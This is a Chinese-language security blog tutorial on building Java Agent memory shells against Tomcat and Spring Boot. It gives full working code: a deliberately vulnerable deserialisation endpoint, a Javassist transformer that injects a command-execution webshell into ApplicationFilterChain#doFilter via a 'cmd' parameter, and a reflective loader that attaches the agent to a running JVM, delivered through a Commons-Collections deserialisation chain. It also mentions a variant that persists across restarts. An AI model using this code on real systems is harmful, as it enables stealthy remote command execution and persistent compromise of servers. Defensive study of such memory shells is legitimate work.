Java Memory Shell & Agent

Java Memory Shell & Agent

前面文章讲了Tomcat的内存马的Filer、Listener、Servlet三种形式的原理和简单构成。但是他们都有一个缺点

包括对Weblogic这些应用来说。他们均需要对中间件大量调试,反射调用一步一步的链条,对于大型中间件比如weblogic这种比较麻烦,无法实现一套代码通用。而且有些还受限于版本信息 比如Tomcat 6 就没有 javax.servlet.DispatcherType 就没法用了

所以需要一种通用方法来"通杀"不同版本的环境 这时候Java Agent就出现了

前置知识

这里写已经是第二天了。因为昨晚下棋8个妮蔻直接起飞

0B059BE5C4E6036910CD5C1EDE63FFD2

本人实在是太菜了。所以还是参考了前人的文章,越来越多的分享者愿意分享出文章。这使得我们踩坑也会越来越少。但我会尽力写的详细些,避免有些师傅看到鄙人的文章还是有理解不清晰的地方

Java Agent

这东西听起来像是个代理?但是不是的。我们从Google上可以查到一些有关与他的信息

image-20220207121424864

啥意思呢

在 jdk 1.5 之后引入了一个包叫 java.lang.instrument ,该包提供了检测 java 程序的 Api,比如用于监控、收集性能信息、诊断问题,通过 java.lang.instrument 实现的工具我们称之为 Java Agent ,Java Agent 能够在不影响正常编译的情况下来修改字节码,即动态修改已加载或者未加载的类,包括类的属性、方法

Agent 内存马的实现就是利用了这一特性使其动态修改特定类的特定方法,将我们的恶意方法添加进去

说白了 Java Agent 只是一个 Java 类而已,只不过普通的 Java 类是以 main 函数作为入口点的,Java Agent 的入口点则是 premain 和 agentmain

Java Agent 支持两种方式进行加载:

  • 实现 premain 方法,在启动时进行加载 (该特性在 jdk 1.5 之后才有)

  • 实现 agentmain 方法,在启动后进行加载 (该特性在 jdk 1.6 之后才有)

复制了半天,可能有些同学对于这个参数有点眼熟

image-20220207122124191

是的 在Burpsuite破解版是有这么个东西参数 javaagent 可以用于指定一个 jar 包。但是对于这个Jar 有一些基本要求

  • 这个 jar 包的 MANIFEST.MF 文件必须指定 Premain-Class 项。

  • Premain-Class 指定的那个类必须实现 premain() 方法。

premain - Demo

说了这么多还是得写写看,用Idea新建一个maven项目

image-20220207143743634

image-20220207143814424

打包成jar

然后随便再写一个main项目打包成jar

image-20220207144258742

可以明显的注意到premain方法在Main方法之前运行了

流程图在这里

img

但是这样也会有一个问题。一般目标都是已经在运行的状态了,总不能渗透测试的过程中给对面打电话。"喂!你运行一下这个Jar!"

所以我们需要更好用的agentmain,在了解agentmain之前,我们先来看看之前的代码有什么不一样

import java.lang.instrument.Instrumentation;这个Instrumentation是啥呢?

Instrumentation

InstrumentationJVMTIAgent(JVM Tool Interface Agent)的一部分。Java agent通过这个类和目标JVM进行交互,从而达到修改数据的效果。

在 Instrumentation 中增加了名叫 transformer 的 Class 文件转换器,转换器可以改变二进制流的数据

Transformer 可以对未加载的类进行拦截,同时可对已加载的类进行重新拦截,所以根据这个特性我们能够实现动态修改字节码

public interface Instrumentation {

    // 增加一个 Class 文件的转换器,转换器用于改变 Class 二进制流的数据,参数 canRetransform 设置是否允许重新转换。在类加载之前,重新定义 Class 文件,ClassDefinition 表示对一个类新的定义,如果在类加载之后,需要使用 retransformClasses 方法重新定义。addTransformer方法配置之后,后续的类加载都会被Transformer拦截。对于已经加载过的类,可以执行retransformClasses来重新触发这个Transformer的拦截。类加载的字节码被修改后,除非再次被retransform,否则不会恢复。
    void addTransformer(ClassFileTransformer transformer);

    // 删除一个类转换器
    boolean removeTransformer(ClassFileTransformer transformer);

    // 在类加载之后,重新定义 Class。这个很重要,该方法是1.6 之后加入的,事实上,该方法是 update 了一个类。
    void retransformClasses(Class<?>... classes) throws UnmodifiableClassException;

    // 判断目标类是否能够修改。
    boolean isModifiableClass(Class<?> theClass);

    // 获取目标已经加载的类。
    @SuppressWarnings("rawtypes")
    Class[] getAllLoadedClasses();

    ......
}

而我们后期构造的时候会用到三个方法

addTransformer,getAllLoadedClasses,retransformClasses

这里采用天下大木头师傅的博客

addTransformer

这个名字相信应该比较容易理解,是用于注册 Transformer的

image-20220207155510888

getAllLoadedClasses

能列出所有已加载的 Class,我们可以通过遍历 Class 数组来寻找我们需要重定义的 class

效果如下

image-20220207155803674

import java.lang.instrument.Instrumentation;

public class PremainDemo {
    public static void premain(String args, Instrumentation inst) throws Exception {
        Class[] classes = inst.getAllLoadedClasses();
        for(Class clas:classes){
            System.out.println(clas.getName());
        }
    }
}

retransformClasses

retransformClasses 方法能对已加载的 class 进行重新定义,也就是说如果我们的目标类已经被加载的话,我们可以调用该函数,来重新触发这个Transformer的拦截,以此达到对已加载的类进行字节码修改的效果

了解了这些,我们来了解一下agentmain,这个未来能用到的方法

agentmain

我们之前介绍过。这个方法是在服务已经运行后使用的,那她没有javaagent参数。怎么注入呢?这时候Java给我们提供了一个api com.sun.tools.attach.VirtualMachine

VirtualMachine

字面意义表示一个Java 虚拟机,也就是程序需要监控的目标虚拟机,提供了获取系统信息、 loadAgentAttachDetach 等方法,可以实现的功能可以说非常之强大 。该类允许我们通过给attach方法传入一个jvm的pid(进程id),远程连接到jvm上 。代理类注入操作只是它众多功能中的一个,通过loadAgent方法向jvm注册一个代理程序agent,在该agent的代理程序中会得到一个Instrumentation实例。

Attach :该类允许我们通过给attach方法传入一个jvm的pid(进程id),远程连接到jvm上

VirtualMachine vm = VirtualMachine.attach(v.id());

loadAgent:向jvm注册一个代理程序agent,在该agent的代理程序中会得到一个Instrumentation实例,该实例可以 在class加载前改变class的字节码,也可以在class加载后重新加载。在调用Instrumentation实例的方法时,这些方法会使用ClassFileTransformer接口中提供的方法进行处理。

Detach:从 JVM 上面解除一个代理(agent)

所以构造起来的顺序:通过 VirtualMachine 类的 attach(pid) 方法,可以 attach 到一个运行中的 java 进程上,之后便可以通过 loadAgent(agentJarPath) 来将agent 的 jar 包注入到对应的进程,然后对应的进程会调用agentmain方法。

Demo

import java.lang.instrument.Instrumentation;

public class AgentMaindemo {
    public static void agentmain(String agentArgs, Instrumentation ins) {
        System.out.println("Hello world");
    }
}

MANIFEST.MF

Manifest-Version: 1.0
Can-Redefine-Classes: true
Can-Retransform-Classes: true
Agent-Class: AgentMaindemo

打包成jar后写个demo测试

import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;

import java.util.List;

public class Main {
    public static void main(String[] args) throws Exception {
        String path = "/Users/ha1c9on/Downloads/Memory_Agent/out/artifacts/Memory_Agent_jar/Memory_Agent.jar";
        List<VirtualMachineDescriptor> list = VirtualMachine.list();
        for (VirtualMachineDescriptor v : list) {
            //System.out.println(v.displayName());
            if (v.displayName().contains("Main")) {
                // 将 jvm 虚拟机的 pid 号传入 attach 来进行远程连接
                VirtualMachine vm = VirtualMachine.attach(v.id());
                System.out.println("id - >>>" + v.id());
                vm.loadAgent(path);
                vm.detach();
            }
        }
    }
}

image-20220207163210104

了解了这些,我们就应该尝试着构建一个内存shell了

Memory Shell

这里使用Springboot进行测试

首先写个demo

package com.springboot.springbootdemo;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.util.Base64;

@Controller
public class Shell_Servlet {

    @ResponseBody
    @RequestMapping("/shell_invoke")
    public String shell_invoke(HttpServletRequest request, HttpServletResponse response, String payload) throws Exception {

        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(payload)));
        Object o = (Object)ois.readObject();
        return "Hello,World";
    }

    @ResponseBody
    @RequestMapping("/")
    public String demo(HttpServletRequest request, HttpServletResponse response) throws Exception{
        return "Hello world";
    }
}

试一下能不能触发

image-20220207172430501

然后我们规划一下Agent Shell构建步骤

  • 编写 agent.jar 从而实现 org.apache.catalina.core.ApplicationFilterChain#doFilter 进行字节码修改

  • 利用反序列化漏洞将我们的加载代码打进去,然后使其执行来加载我们的 agent.jar

首先肯定要写jar了。

import java.lang.instrument.Instrumentation;

public class AgentMain {
    public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain";

    public static void agentmain(String agentArgs, Instrumentation ins) {
        ins.addTransformer(new DefineTransformer(),true);
        // 获取所有已加载的类
        Class[] classes = ins.getAllLoadedClasses();
        for (Class clas:classes){
            if (clas.getName().equals(ClassName)){
                try{
                    // 对类进行重新定义
                    ins.retransformClasses(new Class[]{clas});
                } catch (Exception e){
                    e.printStackTrace();
                }
            }
        }
    }
}
import javassist.*;
import java.lang.instrument.ClassFileTransformer;
import java.security.ProtectionDomain;

public class DefineTransformer implements ClassFileTransformer {

    public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain";

    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) {
        className = className.replace("/",".");
        if (className.equals(ClassName)){
            System.out.println("Find the Inject Class: " + ClassName);
            ClassPool pool = ClassPool.getDefault();
            try {
                CtClass c = pool.getCtClass(className);
                CtMethod m = c.getDeclaredMethod("doFilter");
                m.insertBefore("javax.servlet.http.HttpServletRequest req =  request;\n" +
                        "javax.servlet.http.HttpServletResponse res = response;\n" +
                        "java.lang.String cmd = request.getParameter(\"cmd\");\n" +
                        "if (cmd != null){\n" +
                        "    try {\n" +
                        "        java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();\n" +
                        "        java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(in));\n" +
                        "        String line;\n" +
                        "        StringBuilder sb = new StringBuilder(\"\");\n" +
                        "        while ((line=reader.readLine()) != null){\n" +
                        "            sb.append(line).append(\"\\n\");\n" +
                        "        }\n" +
                        "        response.getOutputStream().print(sb.toString());\n" +
                        "        response.getOutputStream().flush();\n" +
                        "        response.getOutputStream().close();\n" +
                        "    } catch (Exception e){\n" +
                        "        e.printStackTrace();\n" +
                        "    }\n" +
                        "}");
                byte[] bytes = c.toBytecode();
                c.detach();
                return bytes;
            } catch (Exception e){
                e.printStackTrace();
            }
        }
        return new byte[0];
    }
}

打包成Agent.jar

写完jar后 就需要利用VirtualMachine将jar注入进去了

由于 tools.jar 并不会在 JVM 启动的时候默认加载,所以这里利用 URLClassloader 来加载我们的 tools.jar

try{
  java.io.File toolsPath = new java.io.File(System.getProperty("java.home").replace("jre","lib") + java.io.File.separator + "tools.jar");
  System.out.println(toolsPath.toURI().toURL());
  java.net.URL url = toolsPath.toURI().toURL();
  java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[]{url});
  // 利用URLClassloader获取tools.jar
  Class<?> MyVirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine");
  Class<?> MyVirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");
  // 反射获取VirtualMachineDescriptor和VirtualMachine
  java.lang.reflect.Method listMethod = MyVirtualMachine.getDeclaredMethod("list",null);
  java.util.List<Object> list = (java.util.List<Object>) listMethod.invoke(MyVirtualMachine,null);
    //反射获取VirtualMachine.list()
  System.out.println("Running JVM Start..");
  for(int i=0;i<list.size();i++){
    Object o = list.get(i);
    java.lang.reflect.Method displayName = MyVirtualMachineDescriptor.getDeclaredMethod("displayName",null);
    String name = (String) displayName.invoke(o,null);
    //  反射获取displayName
    System.out.println(name);
    if (name.contains("com.springboot.springbootdemo.SpringbootdemoApplication")){
      // 对比name是否与需要注入的一致
      java.lang.reflect.Method getId = MyVirtualMachineDescriptor.getDeclaredMethod("id",null);
      java.lang.String id = (java.lang.String) getId.invoke(o,null);
      // 反射获取pid
      System.out.println("id >>> " + id);
      java.lang.reflect.Method attach = MyVirtualMachine.getDeclaredMethod("attach",new Class[]{java.lang.String.class});
      java.lang.Object vm = attach.invoke(o,new Object[]{id});
      // 将 jvm 虚拟机的 pid 号传入 attach 来进行远程连接
      java.lang.reflect.Method loadAgent = MyVirtualMachine.getDeclaredMethod("loadAgent",new Class[]{java.lang.String.class});
      java.lang.String path = "/Users/ha1c9on/Downloads/AgentMemShell-main/target/AgentMain-1.0-SNAPSHOT-jar-with-dependencies.jar";
      loadAgent.invoke(vm,new Object[]{path});
      // 使用loadAgent注入
      java.lang.reflect.Method detach = MyVirtualMachine.getDeclaredMethod("detach",null);
      detach.invoke(vm,null);
      break;
    }
  }
} catch (Exception e){
  e.printStackTrace();
}
}

注释写的比较清楚,这里就不在展开了

最后使用CC链打反序列化

image-20220207194701594成功注入

这里讲几个我踩的坑 方便有看我文章的师傅

  • 直接使用mvn打包的话。会报错其不是一个Agent的jar,如图所示

image-20220207195349306

  • 打反序列化的时候if (name.contains("SpringbootdemoApplication"))这里我之前填的是完整包名。但是会报错空指针,直到改成单包名才成功。后续调试又改成完整包名也能成功,这里不知道为什么
  • 使用Idea创建一个jar包打包。虽然可以认为是一个Agent包。但是注入失败,原因未知。后期又重新打包。又恢复了。真是神奇的Idea

思考

在查资料的过程中 发现Rebeyond师傅写了一种可以重启依然存在Agent马的文章

https://www.freebuf.com/articles/web/172753.html

简单看了下 是在后台结束进程后将马落地。下次启动的时候带着。

这个还比较有意思。但是也就有一点点失去了"内存"的作用 。并没有深刻研究下去

参考

https://xz.aliyun.com/t/9450

http://wjlshare.com/archives/1582

https://y4er.com/post/javaagent-tomcat-memshell/

发表评论

您的电子邮箱地址不会被公开。 必填项已用*标注